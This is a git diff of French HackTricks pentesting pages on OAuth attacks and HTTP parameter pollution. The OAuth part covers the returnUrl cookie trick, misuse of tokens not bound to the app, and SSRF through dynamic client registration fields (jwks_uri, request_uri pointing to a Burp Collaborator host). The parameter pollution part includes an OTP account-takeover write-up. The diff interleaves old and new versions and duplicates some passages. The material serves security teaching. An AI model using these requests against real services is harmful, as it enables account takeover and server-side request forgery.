Selon [**cet article**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), il était possible de faire ouvrir une page à une victime avec un **returnUrl** pointant vers l'hôte de l'attaquant. Cette information serait **stockée dans un cookie (RU)** et à une **étape ultérieure**, la **fenêtre de dialogue** demandera à l'**utilisateur** s'il veut donner accès à cet hôte d'attaquant.
|
||||
Comme [**mentionné dans ce compte-rendu**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), les flux OAuth qui s'attendent à recevoir le **token** (et non un code) pourraient être vulnérables s'ils ne vérifient pas que le token appartient à l'application.
|
||||
|
||||
Pour contourner cette fenêtre de dialogue, il était possible d'ouvrir un onglet pour initier le **flux Oauth** qui définirait ce cookie RU en utilisant le **returnUrl**, fermer l'onglet avant que la fenêtre de dialogue ne s'affiche, et ouvrir un nouvel onglet sans cette valeur. Ensuite, la **fenêtre de dialogue n'informera pas sur l'hôte de l'attaquant**, mais le cookie sera défini sur celui-ci, de sorte que le **jeton sera envoyé à l'hôte de l'attaquant** dans la redirection.
|
||||
Cela est dû au fait qu'un **attaquant** pourrait créer une **application prenant en charge OAuth et se connecter avec Facebook** (par exemple) dans sa propre application. Ensuite, une fois qu'une victime se connecte avec Facebook dans l'**application de l'attaquant**, l'attaquant pourrait obtenir le **token OAuth de l'utilisateur donné à son application, et l'utiliser pour se connecter dans l'application OAuth de la victime en utilisant le token de l'utilisateur de la victime**.
|
||||
|
||||
### Paramètres SSRF <a href="#bda5" id="bda5"></a>
|
||||
{% hint style="danger" %}
|
||||
Par conséquent, si l'attaquant parvient à faire accéder l'utilisateur à sa propre application OAuth, il pourra prendre le contrôle du compte de la victime dans les applications qui s'attendent à un token et qui ne vérifient pas si le token a été accordé à leur ID d'application.
|
||||
{% endhint %}
|
||||
|
||||
L'un des URL cachés que vous pouvez manquer est le **point d'extrémité d'enregistrement de client dynamique**. Pour authentifier avec succès les utilisateurs, les serveurs OAuth ont besoin de détails sur l'application cliente, tels que le "client_name", "client_secret", "redirect_uris", et ainsi de suite. Ces détails peuvent être fournis via une configuration locale, mais les serveurs d'autorisation OAuth peuvent également avoir un **point d'extrémité d'enregistrement spécial**. Cet endpoint est normalement mappé sur "/register" et accepte des requêtes POST avec le format suivant:
|
||||
### Deux liens & cookie <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Selon [**ce compte-rendu**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), il était possible de faire ouvrir par une victime une page avec un **returnUrl** pointant vers l'hôte de l'attaquant. Cette information serait **stockée dans un cookie (RU)** et dans une **étape ultérieure**, l'**invite** demandera à l'**utilisateur** s'il souhaite donner accès à cet hôte de l'attaquant.
|
||||
|
||||
Pour contourner cette invite, il était possible d'ouvrir un onglet pour initier le **flux Oauth** qui définirait ce cookie RU en utilisant le **returnUrl**, de fermer l'onglet avant que l'invite ne soit affichée, et d'ouvrir un nouvel onglet sans cette valeur. Ensuite, l'**invite n'informera pas sur l'hôte de l'attaquant**, mais le cookie serait défini pour lui, donc le **token sera envoyé à l'hôte de l'attaquant** dans la redirection.
|
||||
|
||||
### Paramètres SSRFs <a href="#bda5" id="bda5"></a>
|
||||
|
||||
L'une des URL cachées que vous pourriez manquer est le **point de terminaison d'enregistrement de client dynamique**. Afin d'authentifier les utilisateurs avec succès, les serveurs OAuth doivent connaître les détails de l'application cliente, tels que le "client\_name", "client\_secret", "redirect\_uris", etc. Ces détails peuvent être fournis via une configuration locale, mais les serveurs d'autorisation OAuth peuvent également avoir un **point de terminaison d'enregistrement spécial**. Ce point de terminaison est normalement mappé sur "/register" et accepte les requêtes POST avec le format suivant :
|
||||
```json
|
||||
POST /connect/register HTTP/1.1
|
||||
Content-Type: application/json
|
||||
|
@ -204,47 +216,48 @@ Host: server.example.com
|
|||
Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJ ...
|
||||
|
||||
{
|
||||
"application_type": "web",
|
||||
"redirect_uris": ["https://client.example.org/callback"],
|
||||
"client_name": "My Example",
|
||||
"logo_uri": "https://client.example.org/logo.png",
|
||||
"subject_type": "pairwise",
|
||||
"sector_identifier_uri": "https://example.org/rdrct_uris.json",
|
||||
"token_endpoint_auth_method": "client_secret_basic",
|
||||
"jwks_uri": "https://client.example.org/public_keys.jwks",
|
||||
"contacts": ["ve7jtb@example.org"],
|
||||
"request_uris": ["https://client.example.org/rf.txt"]
|
||||
"application_type": "web",
|
||||
"redirect_uris": ["https://client.example.org/callback"],
|
||||
"client_name": "My Example",
|
||||
"logo_uri": "https://client.example.org/logo.png",
|
||||
"subject_type": "pairwise",
|
||||
"sector_identifier_uri": "https://example.org/rdrct_uris.json",
|
||||
"token_endpoint_auth_method": "client_secret_basic",
|
||||
"jwks_uri": "https://client.example.org/public_keys.jwks",
|
||||
"contacts": ["ve7jtb@example.org"],
|
||||
"request_uris": ["https://client.example.org/rf.txt"]
|
||||
}
|
||||
```
|
||||
Il y a deux spécifications qui définissent les paramètres de cette requête: [RFC7591](https://tools.ietf.org/html/rfc7591) pour OAuth et [Openid Connect Registration 1.0](https://openid.net/specs/openid-connect-registration-1\_0.html#rfc.section.3.1).
|
||||
```markdown
|
||||
Il existe deux spécifications qui définissent les paramètres dans cette requête : [RFC7591](https://tools.ietf.org/html/rfc7591) pour OAuth et [Openid Connect Registration 1.0](https://openid.net/specs/openid-connect-registration-1_0.html#rfc.section.3.1).
|
||||
|
||||
Comme vous pouvez le voir ici, un certain nombre de ces valeurs sont transmises via des références d'URL et ressemblent à des cibles potentielles pour [Server Side Request Forgery](https://portswigger.net/web-security/ssrf). En même temps, la plupart des serveurs que nous avons testés ne résolvent pas immédiatement ces URL lorsqu'ils reçoivent une demande d'enregistrement. Au lieu de cela, ils **enregistrent simplement ces paramètres et les utilisent plus tard pendant le flux d'autorisation OAuth**. En d'autres termes, il s'agit plutôt d'une SSRF de deuxième ordre, ce qui rend la détection en boîte noire plus difficile.
|
||||
Comme vous pouvez le voir ici, un certain nombre de ces valeurs sont transmises via des références URL et semblent être des cibles potentielles pour [Server Side Request Forgery](https://portswigger.net/web-security/ssrf). En même temps, la plupart des serveurs que nous avons testés ne résolvent pas immédiatement ces URL lorsqu'ils reçoivent une demande d'inscription. Au lieu de cela, ils **enregistrent simplement ces paramètres et les utilisent plus tard pendant le flux d'autorisation OAuth**. En d'autres termes, c'est plus comme un SSRF de second ordre, ce qui rend la détection en boîte noire plus difficile.
|
||||
|
||||
Les paramètres suivants sont particulièrement intéressants pour les attaques SSRF:
|
||||
Les paramètres suivants sont particulièrement intéressants pour les attaques SSRF :
|
||||
|
||||
* **logo\_uri** - URL qui fait référence à un **logo pour l'application cliente**. **Après avoir enregistré un client**, vous pouvez essayer d'appeler le point de terminaison d'autorisation OAuth ("/authorize") en utilisant votre nouveau "client\_id". Après la connexion, le serveur vous demandera d'approuver la demande et **peut afficher l'image de "logo\_uri"**. Si le **serveur récupère l'image par lui-même**, la SSRF devrait être déclenchée à cette étape. Alternativement, le serveur peut simplement inclure le logo via une **balise "\<img>" côté client**. Bien que cela ne conduise pas à une SSRF, cela peut conduire à une **XSS si l'URL n'est pas échappée**.
|
||||
* **jwks\_uri** - URL pour le document JSON Web Key Set \[JWK\] du client. Ce jeu de clés est nécessaire sur le serveur pour valider les demandes signées effectuées vers le point de terminaison de jeton lors de l'utilisation de JWT pour l'authentification du client \[RFC7523\]. Pour tester la SSRF dans ce paramètre, **enregistrez une nouvelle application cliente avec un "jwks\_uri" malveillant**, effectuez le processus d'autorisation pour **obtenir un code d'autorisation pour n'importe quel utilisateur, puis récupérez le point de terminaison "/token"** avec le corps suivant:
|
||||
* **logo\_uri** - URL qui fait référence à un **logo pour l'application cliente**. **Après avoir enregistré un client**, vous pouvez essayer d'appeler le point de terminaison d'autorisation OAuth ("/authorize") en utilisant votre nouveau "client\_id". Après la connexion, le serveur vous demandera d'approuver la demande et **peut afficher l'image à partir du "logo\_uri"**. Si le **serveur récupère l'image par lui-même**, le SSRF devrait être déclenché par cette étape. Alternativement, le serveur peut simplement inclure le logo via une balise **client-side "\<img>"**. Bien que cela ne conduise pas à SSRF, cela peut conduire à **XSS si l'URL n'est pas échappée**.
|
||||
* **jwks\_uri** - URL pour le document JSON Web Key Set \[JWK] du client. Ce jeu de clés est nécessaire sur le serveur pour valider les requêtes signées faites au point de terminaison du jeton lors de l'utilisation de JWT pour l'authentification du client \[RFC7523]. Pour tester le SSRF dans ce paramètre, **enregistrez une nouvelle application cliente avec un "jwks\_uri" malveillant**, effectuez le processus d'autorisation pour **obtenir un code d'autorisation pour n'importe quel utilisateur, puis récupérez le point de terminaison "/token"** avec le corps suivant :
|
||||
|
||||
`POST /oauth/token HTTP/1.1`\
|
||||
`...`\
|
||||
\`\`\
|
||||
`grant_type=authorization_code&code=n0esc3NRze7LTCu7iYzS6a5acc3f0ogp4&client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer&client_assertion=eyJhbGci...`
|
||||
`POST /oauth/token HTTP/1.1`\
|
||||
`...`\
|
||||
```
|
||||
`grant_type=authorization_code&code=n0esc3NRze7LTCu7iYzS6a5acc3f0ogp4&client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer&client_assertion=eyJhbGci...`
|
||||
|
||||
Si vulnérable, le **serveur devrait effectuer une requête HTTP serveur à serveur vers le "jwks\_uri"** fourni car il a besoin de cette clé pour vérifier la validité du paramètre "client\_assertion" dans votre demande. Ce sera probablement seulement une **vulnérabilité SSRF aveugle cependant**, car le serveur s'attend à une réponse JSON appropriée.
|
||||
* **sector\_identifier\_uri** - Cette URL fait référence à un fichier avec un seul **tableau JSON de valeurs redirect\_uri**. Si pris en charge, le serveur peut **récupérer cette valeur dès que vous soumettez la demande d'enregistrement dynamique**. Si cela n'est pas récupéré immédiatement, essayez d'effectuer une autorisation pour ce client sur le serveur. Comme il doit connaître les redirect\_uris pour terminer le flux d'autorisation, cela forcera le serveur à faire une demande à votre sector\_identifier\_uri malveillant.
|
||||
* **request\_uris** - Un tableau des **request\_uris autorisées pour ce client**. Le paramètre "request\_uri" peut être pris en charge sur le point de terminaison d'autorisation pour fournir une URL qui contient un JWT avec les informations de demande (voir [https://openid.net/specs/openid-connect-core-1\_0.html#rfc.section.6.2](https://openid.net/specs/openid-connect-core-1\_0.html#rfc.section.6.2)).
|
||||
Si vulnérable, le **serveur devrait effectuer une requête HTTP de serveur à serveur vers le "jwks\_uri" fourni** car il a besoin de cette clé pour vérifier la validité du paramètre "client\_assertion" dans votre requête. Cela sera probablement seulement une **vulnérabilité SSRF aveugle**, car le serveur attend une réponse JSON appropriée.
|
||||
* **sector\_identifier\_uri** - Cette URL fait référence à un fichier avec un seul **tableau JSON de valeurs redirect\_uri**. Si pris en charge, le serveur peut **récupérer cette valeur dès que vous soumettez la demande d'inscription dynamique**. Si cela n'est pas récupéré immédiatement, essayez d'effectuer une autorisation pour ce client sur le serveur. Comme il a besoin de connaître les redirect\_uris pour compléter le flux d'autorisation, cela forcera le serveur à faire une requête à votre sector\_identifier\_uri malveillant.
|
||||
* **request\_uris** - Un tableau des **request\_uris autorisés pour ce client**. Le paramètre "request\_uri" peut être pris en charge sur le point de terminaison d'autorisation pour fournir une URL qui contient un JWT avec les informations de la demande (voir [https://openid.net/specs/openid-connect-core-1_0.html#rfc.section.6.2](https://openid.net/specs/openid-connect-core-1_0.html#rfc.section.6.2)).
|
||||
|
||||
Même si l'enregistrement dynamique du client n'est pas activé, ou s'il nécessite une authentification, nous pouvons essayer de réaliser une SSRF sur le point de terminaison d'autorisation simplement en utilisant "request\_uri":\\
|
||||
Même si l'inscription dynamique du client n'est pas activée, ou si elle nécessite une authentification, nous pouvons essayer de réaliser un SSRF sur le point de terminaison d'autorisation simplement en utilisant "request\_uri":\\
|
||||
|
||||
`GET /authorize?response_type=code%20id_token&client_id=sclient1&request_uri=https://ybd1rc7ylpbqzygoahtjh6v0frlh96.burpcollaborator.net/request.jwt`
|
||||
`GET /authorize?response_type=code%20id_token&client_id=sclient1&request_uri=https://ybd1rc7ylpbqzygoahtjh6v0frlh96.burpcollaborator.net/request.jwt`
|
||||
|
||||
Note: ne confondez pas ce paramètre avec "redirect\_uri". Le "redirect\_uri" est utilisé pour la redirection après l'autorisation, tandis que **"request\_uri" est récupéré par le serveur au début du processus d'autorisation**.
|
||||
Note : ne confondez pas ce paramètre avec "redirect\_uri". Le "redirect\_uri" est utilisé pour la redirection après autorisation, tandis que **"request\_uri" est récupéré par le serveur au début du processus d'autorisation**.
|
||||
|
||||
En même temps, de nombreux serveurs que nous avons vus n'autorisent pas des valeurs "request\_uri" arbitraires: ils n'autorisent que des URL figurant sur une liste blanche qui ont été préenregistrées lors du processus d'enregistrement du client. C'est pourquoi nous devons fournir "request\_uris": "https://ybd1rc7ylpbqzygoahtjh6v0frlh96.burpcollaborator.net/request.jwt" au préalable.
|
||||
En même temps, de nombreux serveurs que nous avons vus n'autorisent pas des valeurs "request\_uri" arbitraires : ils n'autorisent que des URL préalablement enregistrées pendant le processus d'inscription du client. C'est pourquoi nous devons fournir "request\_uris": "https://ybd1rc7ylpbqzygoahtjh6v0frlh96.burpcollaborator.net/request.jwt" au préalable.
|
||||
|
||||
## Conditions de course des fournisseurs OAuth
|
||||
## Conditions de course chez les fournisseurs OAuth
|
||||
|
||||
Si la plateforme que vous testez est un fournisseur OAuth, [**lisez ceci pour tester les conditions de course possibles**](race-condition.md).
|
||||
Si la plateforme que vous testez est un fournisseur OAuth [**lisez ceci pour tester d'éventuelles conditions de course**](race-condition.md).
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -253,12 +266,15 @@ Si la plateforme que vous testez est un fournisseur OAuth, [**lisez ceci pour te
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -1,14 +1,16 @@
|
|||
# Pollution de paramètres
|
||||
# Pollution de Paramètres
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -16,9 +18,9 @@
|
|||
|
||||
**Résumé :**
|
||||
|
||||
La pollution des paramètres HTTP (HPP) consiste à polluer les paramètres HTTP d'une application web pour accomplir une tâche malveillante spécifique. Cela consiste à manipuler la façon dont un site web traite les paramètres qu'il reçoit lors des requêtes HTTP. Cela modifie le comportement d'un site web par rapport à son comportement prévu. La pollution des paramètres HTTP est une attaque simple mais efficace.
|
||||
La Pollution de Paramètres HTTP (HPP) consiste à polluer les paramètres HTTP d'une application web pour réaliser une tâche malveillante spécifique. Cela se réfère à la manipulation de la manière dont un site web traite les paramètres qu'il reçoit pendant les requêtes HTTP. Cela change le comportement d'un site web de celui qui était prévu. La pollution de paramètres HTTP est une attaque simple mais efficace.
|
||||
|
||||
Lorsque vous polluez un paramètre, le code s'exécute uniquement côté serveur, ce qui est invisible pour nous, mais nous pouvons voir les résultats à l'écran. Le processus intermédiaire est une boîte noire.
|
||||
Lorsque vous polluez un paramètre, le code s'exécute uniquement côté serveur, ce qui est invisible pour nous, mais nous pouvons voir les résultats sur notre écran. Le processus intermédiaire est une boîte noire.
|
||||
|
||||
Par exemple, il y a une URL https://www.anybank.com/send qui a trois paramètres :
|
||||
|
||||
|
@ -28,55 +30,58 @@ Par exemple, il y a une URL https://www.anybank.com/send qui a trois paramètres
|
|||
|
||||
**URL : https://www.anybank.com/send/?from=accountA\&to=accountB\&amount=10000**
|
||||
|
||||
Maintenant, c'est une URL normale qui effectuera une transaction de 10000 de accountA à accountB, mais que se passe-t-il si nous ajoutons un autre paramètre identique **"from :"**
|
||||
Maintenant, c'est une URL normale qui procédera à une transaction de 10000 de accountA à accountB, mais que se passe-t-il si nous ajoutons un autre paramètre identique **“from :”**
|
||||
|
||||
Ainsi, l'URL sera comme **https://www.anybank.com/send/?from=accountA\&to=accountB\&amount=10000\&from=accountC**
|
||||
Donc l'URL sera comme **https://www.anybank.com/send/?from=accountA\&to=accountB\&amount=10000\&from=accountC**
|
||||
|
||||
Lorsque cette URL effectuera une transaction de 10000, elle sera déduite du compteC plutôt que du compteA. C'est ainsi que vous manipulez les paramètres dans une attaque de **pollution des paramètres HTTP**. Bien que la portée de cette vulnérabilité ne se limite pas uniquement à une requête **GET**, vous pouvez également effectuer cette attaque sur une requête basée sur **POST**. Vous pouvez essayer cette vulnérabilité à de nombreux endroits comme le changement de mot de passe, la 2FA, les commentaires, le téléchargement de photo de profil, sur un paramètre où la clé API est transmise, OTP, etc.
|
||||
Lorsque cette URL procédera à une transaction de 10000, elle sera déduite de accountC plutôt que de accountA. C'est ainsi que vous manipulez les paramètres dans une attaque de **Pollution de Paramètres HTTP**. Bien que la portée de cette vulnérabilité ne soit pas limitée uniquement aux requêtes **GET**, vous pouvez également réaliser cette attaque sur une requête basée sur **POST**. Vous pouvez essayer cette vulnérabilité dans de nombreux endroits comme le changement de mot de passe, la 2FA, les commentaires, le téléchargement de photo de profil, sur un paramètre où la clé API est passée, l'OTP, etc.
|
||||
|
||||
Lorsque vous manipulez un paramètre, sa manipulation dépend de la façon dont chaque technologie web analyse ses paramètres. Vous pouvez identifier les technologies web en utilisant "[Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)". Ci-dessous se trouve la capture d'écran de certaines technologies et de leur analyse de paramètres. Technologies et leur analyse de paramètres
|
||||
Lorsque vous manipulez un paramètre, sa manipulation dépend de la manière dont chaque technologie web analyse ses paramètres. Vous pouvez identifier les technologies web en utilisant “[Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)”. Ci-dessous la capture d'écran de certaines technologies et de leur analyse de paramètres.Technologies et leur analyse de paramètres
|
||||
|
||||
![Image pour l'article](https://miro.medium.com/max/1760/1\*POs4sP0fQVlPvTH9vw1U-A.jpeg)
|
||||
![Image for post](https://miro.medium.com/max/1760/1\*POs4sP0fQVlPvTH9vw1U-A.jpeg)
|
||||
|
||||
J'aimerais partager l'une de mes découvertes de HPP où j'ai pu prendre le contrôle d'un compte en utilisant cette vulnérabilité.
|
||||
Je voudrais partager une de mes découvertes de HPP où j'ai pu prendre le contrôle d'un compte en utilisant cette vulnérabilité.
|
||||
|
||||
**Comment ai-je trouvé cette vulnérabilité ?**
|
||||
|
||||
1. Je suis allé sur une page de connexion de ce programme, il a demandé un OTP pour la connexion
|
||||
1. Je suis allé sur une page de connexion de ce programme, il a demandé un OTP pour se connecter
|
||||
|
||||
Envoyer un OTP
|
||||
Envoyer OTP
|
||||
|
||||
![Image pour l'article](https://miro.medium.com/max/600/1\*s-M09yWBylPVEhA6\_e0nSw.jpeg)
|
||||
![Image for post](https://miro.medium.com/max/600/1\*s-M09yWBylPVEhA6\_e0nSw.jpeg)
|
||||
|
||||
2. J'ai saisi un e-mail et cliqué sur "Envoyer un mot de passe unique"
|
||||
2\. J'ai tapé un email et cliqué sur "Envoyer un mot de passe à usage unique"
|
||||
|
||||
3. J'ai intercepté la requête en utilisant Burp Suite et ajouté un autre e-mail en utilisant le même paramètre (j'ai créé deux e-mails à des fins de test) Requête Burp
|
||||
3\. J'ai intercepté la requête en utilisant burp suite et ajouté un autre email en utilisant le même paramètre (j'ai créé deux emails à des fins de test)Requête Burp
|
||||
|
||||
![Image pour l'article](https://miro.medium.com/max/1737/1\*z\_RpnZyKHLn6B4Lz4ONT3Q.png)
|
||||
![Image for post](https://miro.medium.com/max/1737/1\*z\_RpnZyKHLn6B4Lz4ONT3Q.png)
|
||||
|
||||
4. J'ai reçu un OTP de shrey……@gmail.com sur mon autre compte radhika…..@gmail.com OTP
|
||||
4\. J'ai reçu un OTP de shrey……@gmail.com sur mon autre compte radhika…..@gmail.com OTP
|
||||
|
||||
![Image pour l'article](https://miro.medium.com/max/784/1\*a671GrRtiMYfLUL7nURD8Q.png)
|
||||
![Image for post](https://miro.medium.com/max/784/1\*a671GrRtiMYfLUL7nURD8Q.png)
|
||||
|
||||
5. J'ai copié l'OTP et suis allé sur shrey….@gmail.com sur l'écran de connexion du programme, j'ai saisi cet OTP et j'étais dans le compte. Prise de contrôle du compte
|
||||
5\. J'ai copié l'OTP et suis allé sur shrey….@gmail.com sur l'écran de connexion de ce programme, j'ai entré cet OTP et j'étais dans le compte.Prise de Contrôle du Compte
|
||||
|
||||
![Image pour l'article](https://miro.medium.com/max/1698/1\*Ux-ILfCr\_Mk\_xmzzsXwNnA.jpeg)
|
||||
![Image for post](https://miro.medium.com/max/1698/1\*Ux-ILfCr\_Mk\_xmzzsXwNnA.jpeg)
|
||||
|
||||
Ce qui s'est passé ici, c'est que l'application côté serveur a pris la valeur du premier paramètre "e-mail" pour générer un OTP et a utilisé la valeur du deuxième paramètre "e-mail" pour fournir la valeur, ce qui signifie qu'un OTP de shrey….@gmail.com a été envoyé à radhika….@gmail.com.
|
||||
Alors ce qui s'est passé ici, c'est que l'application back-end a pris la valeur du premier paramètre "**email**" pour générer un OTP et a utilisé la valeur du second paramètre "**email**" pour fournir la valeur, ce qui signifie qu'un OTP de shrey….@gmail.com a été envoyé à radhika….@gmail.com.
|
||||
|
||||
**NOTE :** Ici, dans une image à la 4ème étape où j'ai reçu un OTP à radhika….@gmail.com, j'étais confus parce que le message disait Bonjour Radhika, donc je pensais que le paramètre n'était pas pollué et que l'OTP était pour radhika….@gmail.com mais quand j'ai essayé l'OTP sur shrey….@gmail.com, cela a fonctionné.
|
||||
|
||||
**NOTE :** Ici, sur l'image de la 4ème étape où j'ai reçu un OTP à radhika….@gmail.com, j'étais confus car le message disait Salut Radhika, donc je pensais que le paramètre n'était pas pollué et que l'OTP était pour radhika….@gmail.com, mais quand j'ai essayé l'OTP sur shrey….@gmail.com, ça a fonctionné.
|
||||
## Flask & PHP
|
||||
|
||||
Dans [**ce compte rendu**](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution), vous pouvez voir comment une requête HTTP comme `a=1&a=2` sera interprétée différemment par Flask et PHP s'exécutant sur un serveur Apache HTTP. Dans Flask, le paramètre sera `1` (première occurrence) tandis que dans PHP, il sera `2` (dernière occurrence).
|
||||
Dans [**ce compte-rendu**](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution), vous pouvez voir comment une requête HTTP comme `a=1&a=2` sera interprétée différemment par Flask et PHP fonctionnant sur un serveur HTTP Apache. Dans Flask, le paramètre sera `1` (première occurrence) tandis que dans PHP, il sera `2` (dernière occurrence).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
